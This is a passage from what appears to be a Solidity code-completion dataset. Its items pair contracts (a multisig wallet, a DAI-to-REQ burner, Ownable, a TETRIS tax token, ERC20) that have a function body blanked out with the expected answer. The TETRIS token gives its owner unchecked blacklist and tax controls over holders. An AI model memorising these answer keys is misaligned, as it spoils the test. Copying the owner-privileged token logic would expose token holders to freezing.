emergencyCalls[i]; if ( data.length == emergencyCall.paramsBytesCount + 4 && data.length >= 4 && emergencyCall.selector[0] == data[0] && emergencyCall.selector[1] == data[1] && emergencyCall.selector[2] == data[2] && emergencyCall.selector[3] == data[3] ) { return true; } } return false; } /** @dev Allows an owner to revoke a confirmation for a transaction. * @param transactionId Transaction ID. */ function revokeConfirmation(uint256 transactionId) external ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; emit Revocation(msg.sender, transactionId); } /** @dev Allows anyone to execute a confirmed transaction. * @param transactionId Transaction ID. */ function executeTransaction(uint256 transactionId) external ownerExists(msg.sender) notExecuted(transactionId) { require( block.timestamp >= unlockTimes[transactionId], "TRANSACTION_NEED_TO_UNLOCK" ); if (isConfirmed(transactionId)) { Transaction storage transaction = transactions[transactionId]; transaction.executed = true; (bool success, ) = transaction.destination.call.value(transaction.value)(transaction.data); if (success) emit Execution(transactionId); else { emit ExecutionFailure(transactionId); transaction.executed = false; } } } /** @dev Returns the confirmation status of a transaction. * @param transactionId Transaction ID. * @return Confirmation status. */ function isConfirmed(uint256 transactionId) public view returns (bool) { uint256 count = 0; for (uint256 i = 0; i < owners.length; i++) { if (confirmations[transactionId][owners[i]]) { count += 1; } if (count >= required) { return true; } } return false; } /* Web3 call functions */ /** @dev Returns number of confirmations of a transaction. * @param transactionId Transaction ID. * @return Number of confirmations. */ function getConfirmationCount(uint256 transactionId) external view returns (uint256 count) { for (uint256 i = 0; i < owners.length; i++) { if (confirmations[transactionId][owners[i]]) { count += 1; } } } /** @dev Returns total number of transactions after filers are applied. * @param pending Include pending transactions. * @param executed Include executed transactions. * @return Total number of transactions after filters are applied. */ function getTransactionCount(bool pending, bool executed) external view returns (uint256 count) { for (uint256 i = 0; i < transactionCount; i++) { if (pending && !transactions[i].executed || executed && transactions[i].executed) { count += 1; } } } /** @dev Returns list of owners. * @return List of owner addresses. */ function getOwners() external view returns (address[] memory) { return owners; } /** @dev Returns array with owner addresses, which confirmed transaction. * @param transactionId Transaction ID. * @return Returns array of owner addresses. */ function getConfirmations(uint256 transactionId) external view returns (address[] memory _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint256 count = 0; uint256 i; for (i = 0; i < owners.length; i++) { if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } } _confirmations = new address[](count); for (i = 0; i < count; i++) { _confirmations[i] = confirmationsTemp[i]; } } }
for (uint256 i = 0; i < _owners.length; i++) { if (isOwner[_owners[i]] || _owners[i] == address(0)) { revert("OWNER_ERROR"); } isOwner[_owners[i]] = true; } owners = _owners; required = _required; // initialzie Emergency calls emergencyCalls.push( EmergencyCall({ selector: keccak256(abi.encodePacked("setMarketBorrowUsability(uint16,bool)")), paramsBytesCount: 64 }) );
constructor(address[] memory _owners, uint256 _required) public validRequirement(_owners.length, _required)
/** @dev Contract constructor sets initial owners and required number of confirmations. * @param _owners List of initial owners. * @param _required Number of required confirmations. */ constructor(address[] memory _owners, uint256 _required) public validRequirement(_owners.length, _required)
64022
DaiBasedREQBurner
null
contract DaiBasedREQBurner is Ownable { address constant DAI_ADDRESS = 0x6B175474E89094C44Da98b954EedeAC495271d0F; address constant REQ_ADDRESS = 0x8f8221aFbB33998d8584A2B05749bA73c37a938a; address constant LOCKED_TOKEN_ADDRESS = DAI_ADDRESS; address constant BURNABLE_TOKEN_ADDRESS = REQ_ADDRESS; // swap router used to convert LOCKED into BURNABLE tokens IUniswapV2Router02 public swapRouter; /** * @notice Constructor of the DAI based REQ burner * @param _swapRouterAddress address of the uniswap token router (which follow the same method signature ). */ constructor(address _swapRouterAddress) public {<FILL_FUNCTION_BODY> } /// @dev gives the permission to uniswap to accept the swapping of the BURNABLE token function approveRouterToSpend() public { uint256 max = 2**256 - 1; IERC20 dai = IERC20(LOCKED_TOKEN_ADDRESS); dai.approve(address(swapRouter), max); } ///@dev the main function to be executed ///@param _minReqBurnt REQ token needed to be burned. ///@param _deadline maximum timestamp to accept the trade from the router function burn(uint _minReqBurnt, uint256 _deadline) external returns(uint) { IERC20 dai = IERC20(LOCKED_TOKEN_ADDRESS); IBurnableErc20 req = IBurnableErc20(BURNABLE_TOKEN_ADDRESS); uint daiToConvert = dai.balanceOf(address(this)); if (_deadline == 0) { _deadline = block.timestamp + 1000; } // 1 step swapping path (only works if there is a sufficient liquidity behind the router) address[] memory path = new address[](2); path[0] = LOCKED_TOKEN_ADDRESS; path[1] = BURNABLE_TOKEN_ADDRESS; // Do the swap and get the amount of REQ purchased uint reqToBurn = swapRouter.swapExactTokensForTokens( daiToConvert, _minReqBurnt, path, address(this), _deadline )[1]; // Burn all the purchased REQ and return this amount req.burn(reqToBurn); return reqToBurn; } }
contract DaiBasedREQBurner is Ownable { address constant DAI_ADDRESS = 0x6B175474E89094C44Da98b954EedeAC495271d0F; address constant REQ_ADDRESS = 0x8f8221aFbB33998d8584A2B05749bA73c37a938a; address constant LOCKED_TOKEN_ADDRESS = DAI_ADDRESS; address constant BURNABLE_TOKEN_ADDRESS = REQ_ADDRESS; // swap router used to convert LOCKED into BURNABLE tokens IUniswapV2Router02 public swapRouter; <FILL_FUNCTION> /// @dev gives the permission to uniswap to accept the swapping of the BURNABLE token function approveRouterToSpend() public { uint256 max = 2**256 - 1; IERC20 dai = IERC20(LOCKED_TOKEN_ADDRESS); dai.approve(address(swapRouter), max); } ///@dev the main function to be executed ///@param _minReqBurnt REQ token needed to be burned. ///@param _deadline maximum timestamp to accept the trade from the router function burn(uint _minReqBurnt, uint256 _deadline) external returns(uint) { IERC20 dai = IERC20(LOCKED_TOKEN_ADDRESS); IBurnableErc20 req = IBurnableErc20(BURNABLE_TOKEN_ADDRESS); uint daiToConvert = dai.balanceOf(address(this)); if (_deadline == 0) { _deadline = block.timestamp + 1000; } // 1 step swapping path (only works if there is a sufficient liquidity behind the router) address[] memory path = new address[](2); path[0] = LOCKED_TOKEN_ADDRESS; path[1] = BURNABLE_TOKEN_ADDRESS; // Do the swap and get the amount of REQ purchased uint reqToBurn = swapRouter.swapExactTokensForTokens( daiToConvert, _minReqBurnt, path, address(this), _deadline )[1]; // Burn all the purchased REQ and return this amount req.burn(reqToBurn); return reqToBurn; } }
require(_swapRouterAddress != address(0), "The swap router address should not be 0"); swapRouter = IUniswapV2Router02(_swapRouterAddress);
constructor(address _swapRouterAddress) public
/** * @notice Constructor of the DAI based REQ burner * @param _swapRouterAddress address of the uniswap token router (which follow the same method signature ). */ constructor(address _swapRouterAddress) public
56273
Ownable
_transferOwnership
contract Ownable { address public owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal {<FILL_FUNCTION_BODY> } }
contract Ownable { address public owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } <FILL_FUNCTION> }
require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner;
function _transferOwnership(address _newOwner) internal
/** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal
93862
TETRIS
_tax
contract TETRIS is Context, IERC20, Taxable { using SafeMath for uint256; // TOKEN uint256 private constant TOTAL_SUPPLY = 5000000000 * 10**9; string private m_Name = "TETRIS"; string private m_Symbol = "TETRIS"; uint8 private m_Decimals = 9; // EXCHANGES address private m_UniswapV2Pair; IUniswapV2Router02 private m_UniswapV2Router; // TRANSACTIONS uint256 private m_WalletLimit = TOTAL_SUPPLY.div(50); bool private m_Liquidity = false; event SetTxLimit(uint TxLimit); // MISC address private m_LiqLockSvcAddress = 0x55E2aDaEB2798DDC474311AD98B23d0B62C1EBD8; mapping (address => bool) private m_Blacklist; mapping (address => bool) private m_ExcludedAddresses; mapping (address => uint256) private m_Balances; mapping (address => mapping (address => uint256)) private m_Allowances; uint256 private m_LastEthBal = 0; uint256 private m_Launched = 1753633194; bool private m_IsSwap = false; uint256 private pMax = 100000; // max alloc percentage modifier lockTheSwap { m_IsSwap = true; _; m_IsSwap = false; } modifier onlyDev() { require( _msgSender() == External.owner() || _msgSender() == m_WebThree, "Unauthorized"); _; } receive() external payable {} constructor () { initTax(); m_Balances[address(this)] = TOTAL_SUPPLY; m_ExcludedAddresses[owner()] = true; m_ExcludedAddresses[address(this)] = true; emit Transfer(address(0), address(this), TOTAL_SUPPLY); } function name() public view returns (string memory) { return m_Name; } function symbol() public view returns (string memory) { return m_Symbol; } function decimals() public view returns (uint8) { return m_Decimals; } function totalSupply() public pure override returns (uint256) { return TOTAL_SUPPLY; } function balanceOf(address _account) public view override returns (uint256) { return m_Balances[_account]; } function transfer(address _recipient, uint256 _amount) public override returns (bool) { _transfer(_msgSender(), _recipient, _amount); return true; } function allowance(address _owner, address _spender) public view override returns (uint256) { return m_Allowances[_owner][_spender]; } function approve(address _spender, uint256 _amount) public override returns (bool) { _approve(_msgSender(), _spender, _amount); return true; } function transferFrom(address _sender, address _recipient, uint256 _amount) public override returns (bool) { _transfer(_sender, _recipient, _amount); _approve(_sender, _msgSender(), m_Allowances[_sender][_msgSender()].sub(_amount, "ERC20: transfer amount exceeds allowance")); return true; } function _readyToTax(address _sender) private view returns (bool) { return !m_IsSwap && _sender != m_UniswapV2Pair; } function _isBuy(address _sender) private view returns (bool) { return _sender == m_UniswapV2Pair; } function _trader(address _sender, address _recipient) private view returns (bool) { return !(m_ExcludedAddresses[_sender] || m_ExcludedAddresses[_recipient]); } function _isExchangeTransfer(address _sender, address _recipient) private view returns (bool) { return _sender == m_UniswapV2Pair || _recipient == m_UniswapV2Pair; } function _txRestricted(address _sender, address _recipient) private view returns (bool) { return _sender == m_UniswapV2Pair && _recipient != address(m_UniswapV2Router) && !m_ExcludedAddresses[_recipient]; } function _walletCapped(address _recipient) private view returns (bool) { return _recipient != m_UniswapV2Pair && _recipient != address(m_UniswapV2Router) && block.timestamp <= m_Launched.add(1 hours); } function _checkTX() private view returns (uint256){ if(block.timestamp <= m_Launched.add(60 minutes)) return TOTAL_SUPPLY.div(100); else return TOTAL_SUPPLY; } function _approve(address _owner, address _spender, uint256 _amount) private { require(_owner != address(0), "ERC20: approve from the zero address"); require(_spender != address(0), "ERC20: approve to the zero address"); m_Allowances[_owner][_spender] = _amount; emit Approval(_owner, _spender, _amount); } function _transfer(address _sender, address _recipient, uint256 _amount) private { require(_sender != address(0), "ERC20: transfer from the zero address"); require(_recipient != address(0), "ERC20: transfer to the zero address"); require(_amount > 0, "Transfer amount must be greater than zero"); require(!m_Blacklist[_sender] && !m_Blacklist[_recipient] && !m_Blacklist[tx.origin]); if(_walletCapped(_recipient)) require(balanceOf(_recipient) < m_WalletLimit); uint256 _taxes = 0; if (_trader(_sender, _recipient)) { require(block.timestamp >= m_Launched); if (_txRestricted(_sender, _recipient)) require(_amount <= _checkTX()); _taxes = _getTaxes(_sender, _recipient, _amount); _tax(_sender); } _updateBalances(_sender, _recipient, _amount, _taxes); } function _updateBalances(address _sender, address _recipient, uint256 _amount, uint256 _taxes) private { uint256 _netAmount = _amount.sub(_taxes); m_Balances[_sender] = m_Balances[_sender].sub(_amount); m_Balances[_recipient] = m_Balances[_recipient].add(_netAmount); m_Balances[address(this)] = m_Balances[address(this)].add(_taxes); emit Transfer(_sender, _recipient, _netAmount); } function _getTaxes(address _sender, address _recipient, uint256 _amount) private returns (uint256) { uint256 _ret = 0; if (m_ExcludedAddresses[_sender] || m_ExcludedAddresses[_recipient]) { return _ret; } _ret = _ret.add(_amount.div(pMax).mul(totalTaxAlloc())); return _ret; } function _tax(address _sender) private {<FILL_FUNCTION_BODY> } function _swapTokensForETH(uint256 _amount) private lockTheSwap { address[] memory _path = new address[](2); _path[0] = address(this); _path[1] = m_UniswapV2Router.WETH(); _approve(address(this), address(m_UniswapV2Router), _amount); m_UniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( _amount, 0, _path, address(this), block.timestamp ); } function _getTaxDenominator() private view returns (uint) { uint _ret = 0; _ret = _ret.add(totalTaxAlloc()); return _ret; } function _disperseEth() private { uint256 _eth = address(this).balance; if (_eth <= m_LastEthBal) return; uint256 _newEth = _eth.sub(m_LastEthBal); uint _d = _getTaxDenominator(); if (_d < 1) return; payTaxes(_newEth, _d); m_LastEthBal = address(this).balance; } function addLiquidity() external onlyOwner() { require(!m_Liquidity,"Liquidity already added."); uint256 _ethBalance = address(this).balance; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); m_UniswapV2Router = _uniswapV2Router; _approve(address(this), address(m_UniswapV2Router), TOTAL_SUPPLY); m_UniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); m_UniswapV2Router.addLiquidityETH{value: _ethBalance}(address(this),balanceOf(address(this)),0,0,address(this),block.timestamp); IERC20(m_UniswapV2Pair).approve(m_LiqLockSvcAddress, type(uint).max); FTPLiqLock(m_LiqLockSvcAddress).lockTokens(m_UniswapV2Pair, block.timestamp.add(3 days), msg.sender); m_Liquidity = true; } function launch(uint256 _timer) external onlyOwner() { m_Launched = block.timestamp.add(_timer); } function checkIfBlacklist(address _address) external view returns (bool) { return m_Blacklist[_address]; } function blacklist(address _address) external onlyOwner() { require(_address != m_UniswapV2Pair, "Can't blacklist Uniswap"); require(_address != address(this), "Can't blacklist contract"); m_Blacklist[_address] = true; } function rmBlacklist(address _address) external onlyOwner() { m_Blacklist[_address] = false; } function updateTaxAlloc(address payable _address, uint _alloc) external onlyOwner() { setTaxAlloc(_address, _alloc); if (_alloc > 0) { m_ExcludedAddresses[_address] = true; } } function addTaxWhitelist(address _address) external onlyOwner() { m_ExcludedAddresses[_address] = true; } function rmTaxWhitelist(address _address) external onlyOwner() { m_ExcludedAddresses[_address] = false; } function setWebThree(address _address) external onlyDev() { m_WebThree = _address; } }
contract TETRIS is Context, IERC20, Taxable { using SafeMath for uint256; // TOKEN uint256 private constant TOTAL_SUPPLY = 5000000000 * 10**9; string private m_Name = "TETRIS"; string private m_Symbol = "TETRIS"; uint8 private m_Decimals = 9; // EXCHANGES address private m_UniswapV2Pair; IUniswapV2Router02 private m_UniswapV2Router; // TRANSACTIONS uint256 private m_WalletLimit = TOTAL_SUPPLY.div(50); bool private m_Liquidity = false; event SetTxLimit(uint TxLimit); // MISC address private m_LiqLockSvcAddress = 0x55E2aDaEB2798DDC474311AD98B23d0B62C1EBD8; mapping (address => bool) private m_Blacklist; mapping (address => bool) private m_ExcludedAddresses; mapping (address => uint256) private m_Balances; mapping (address => mapping (address => uint256)) private m_Allowances; uint256 private m_LastEthBal = 0; uint256 private m_Launched = 1753633194; bool private m_IsSwap = false; uint256 private pMax = 100000; // max alloc percentage modifier lockTheSwap { m_IsSwap = true; _; m_IsSwap = false; } modifier onlyDev() { require( _msgSender() == External.owner() || _msgSender() == m_WebThree, "Unauthorized"); _; } receive() external payable {} constructor () { initTax(); m_Balances[address(this)] = TOTAL_SUPPLY; m_ExcludedAddresses[owner()] = true; m_ExcludedAddresses[address(this)] = true; emit Transfer(address(0), address(this), TOTAL_SUPPLY); } function name() public view returns (string memory) { return m_Name; } function symbol() public view returns (string memory) { return m_Symbol; } function decimals() public view returns (uint8) { return m_Decimals; } function totalSupply() public pure override returns (uint256) { return TOTAL_SUPPLY; } function balanceOf(address _account) public view override returns (uint256) { return m_Balances[_account]; } function transfer(address _recipient, uint256 _amount) public override returns (bool) { _transfer(_msgSender(), _recipient, _amount); return true; } function allowance(address _owner, address _spender) public view override returns (uint256) { return m_Allowances[_owner][_spender]; } function approve(address _spender, uint256 _amount) public override returns (bool) { _approve(_msgSender(), _spender, _amount); return true; } function transferFrom(address _sender, address _recipient, uint256 _amount) public override returns (bool) { _transfer(_sender, _recipient, _amount); _approve(_sender, _msgSender(), m_Allowances[_sender][_msgSender()].sub(_amount, "ERC20: transfer amount exceeds allowance")); return true; } function _readyToTax(address _sender) private view returns (bool) { return !m_IsSwap && _sender != m_UniswapV2Pair; } function _isBuy(address _sender) private view returns (bool) { return _sender == m_UniswapV2Pair; } function _trader(address _sender, address _recipient) private view returns (bool) { return !(m_ExcludedAddresses[_sender] || m_ExcludedAddresses[_recipient]); } function _isExchangeTransfer(address _sender, address _recipient) private view returns (bool) { return _sender == m_UniswapV2Pair || _recipient == m_UniswapV2Pair; } function _txRestricted(address _sender, address _recipient) private view returns (bool) { return _sender == m_UniswapV2Pair && _recipient != address(m_UniswapV2Router) && !m_ExcludedAddresses[_recipient]; } function _walletCapped(address _recipient) private view returns (bool) { return _recipient != m_UniswapV2Pair && _recipient != address(m_UniswapV2Router) && block.timestamp <= m_Launched.add(1 hours); } function _checkTX() private view returns (uint256){ if(block.timestamp <= m_Launched.add(60 minutes)) return TOTAL_SUPPLY.div(100); else return TOTAL_SUPPLY; } function _approve(address _owner, address _spender, uint256 _amount) private { require(_owner != address(0), "ERC20: approve from the zero address"); require(_spender != address(0), "ERC20: approve to the zero address"); m_Allowances[_owner][_spender] = _amount; emit Approval(_owner, _spender, _amount); } function _transfer(address _sender, address _recipient, uint256 _amount) private { require(_sender != address(0), "ERC20: transfer from the zero address"); require(_recipient != address(0), "ERC20: transfer to the zero address"); require(_amount > 0, "Transfer amount must be greater than zero"); require(!m_Blacklist[_sender] && !m_Blacklist[_recipient] && !m_Blacklist[tx.origin]); if(_walletCapped(_recipient)) require(balanceOf(_recipient) < m_WalletLimit); uint256 _taxes = 0; if (_trader(_sender, _recipient)) { require(block.timestamp >= m_Launched); if (_txRestricted(_sender, _recipient)) require(_amount <= _checkTX()); _taxes = _getTaxes(_sender, _recipient, _amount); _tax(_sender); } _updateBalances(_sender, _recipient, _amount, _taxes); } function _updateBalances(address _sender, address _recipient, uint256 _amount, uint256 _taxes) private { uint256 _netAmount = _amount.sub(_taxes); m_Balances[_sender] = m_Balances[_sender].sub(_amount); m_Balances[_recipient] = m_Balances[_recipient].add(_netAmount); m_Balances[address(this)] = m_Balances[address(this)].add(_taxes); emit Transfer(_sender, _recipient, _netAmount); } function _getTaxes(address _sender, address _recipient, uint256 _amount) private returns (uint256) { uint256 _ret = 0; if (m_ExcludedAddresses[_sender] || m_ExcludedAddresses[_recipient]) { return _ret; } _ret = _ret.add(_amount.div(pMax).mul(totalTaxAlloc())); return _ret; } <FILL_FUNCTION> function _swapTokensForETH(uint256 _amount) private lockTheSwap { address[] memory _path = new address[](2); _path[0] = address(this); _path[1] = m_UniswapV2Router.WETH(); _approve(address(this), address(m_UniswapV2Router), _amount); m_UniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( _amount, 0, _path, address(this), block.timestamp ); } function _getTaxDenominator() private view returns (uint) { uint _ret = 0; _ret = _ret.add(totalTaxAlloc()); return _ret; } function _disperseEth() private { uint256 _eth = address(this).balance; if (_eth <= m_LastEthBal) return; uint256 _newEth = _eth.sub(m_LastEthBal); uint _d = _getTaxDenominator(); if (_d < 1) return; payTaxes(_newEth, _d); m_LastEthBal = address(this).balance; } function addLiquidity() external onlyOwner() { require(!m_Liquidity,"Liquidity already added."); uint256 _ethBalance = address(this).balance; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); m_UniswapV2Router = _uniswapV2Router; _approve(address(this), address(m_UniswapV2Router), TOTAL_SUPPLY); m_UniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); m_UniswapV2Router.addLiquidityETH{value: _ethBalance}(address(this),balanceOf(address(this)),0,0,address(this),block.timestamp); IERC20(m_UniswapV2Pair).approve(m_LiqLockSvcAddress, type(uint).max); FTPLiqLock(m_LiqLockSvcAddress).lockTokens(m_UniswapV2Pair, block.timestamp.add(3 days), msg.sender); m_Liquidity = true; } function launch(uint256 _timer) external onlyOwner() { m_Launched = block.timestamp.add(_timer); } function checkIfBlacklist(address _address) external view returns (bool) { return m_Blacklist[_address]; } function blacklist(address _address) external onlyOwner() { require(_address != m_UniswapV2Pair, "Can't blacklist Uniswap"); require(_address != address(this), "Can't blacklist contract"); m_Blacklist[_address] = true; } function rmBlacklist(address _address) external onlyOwner() { m_Blacklist[_address] = false; } function updateTaxAlloc(address payable _address, uint _alloc) external onlyOwner() { setTaxAlloc(_address, _alloc); if (_alloc > 0) { m_ExcludedAddresses[_address] = true; } } function addTaxWhitelist(address _address) external onlyOwner() { m_ExcludedAddresses[_address] = true; } function rmTaxWhitelist(address _address) external onlyOwner() { m_ExcludedAddresses[_address] = false; } function setWebThree(address _address) external onlyDev() { m_WebThree = _address; } }
if (_readyToTax(_sender)) { uint256 _tokenBalance = balanceOf(address(this)); _swapTokensForETH(_tokenBalance); _disperseEth(); }
function _tax(address _sender) private
function _tax(address _sender) private
59655
ERC20
_approve
contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require( currentAllowance >= amount, "ERC20: transfer amount exceeds allowance" ); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender] + addedValue ); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require( currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero" ); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require( senderBalance >= amount, "ERC20: transfer amount exceeds balance" ); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual {<FILL_FUNCTION_BODY> } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } 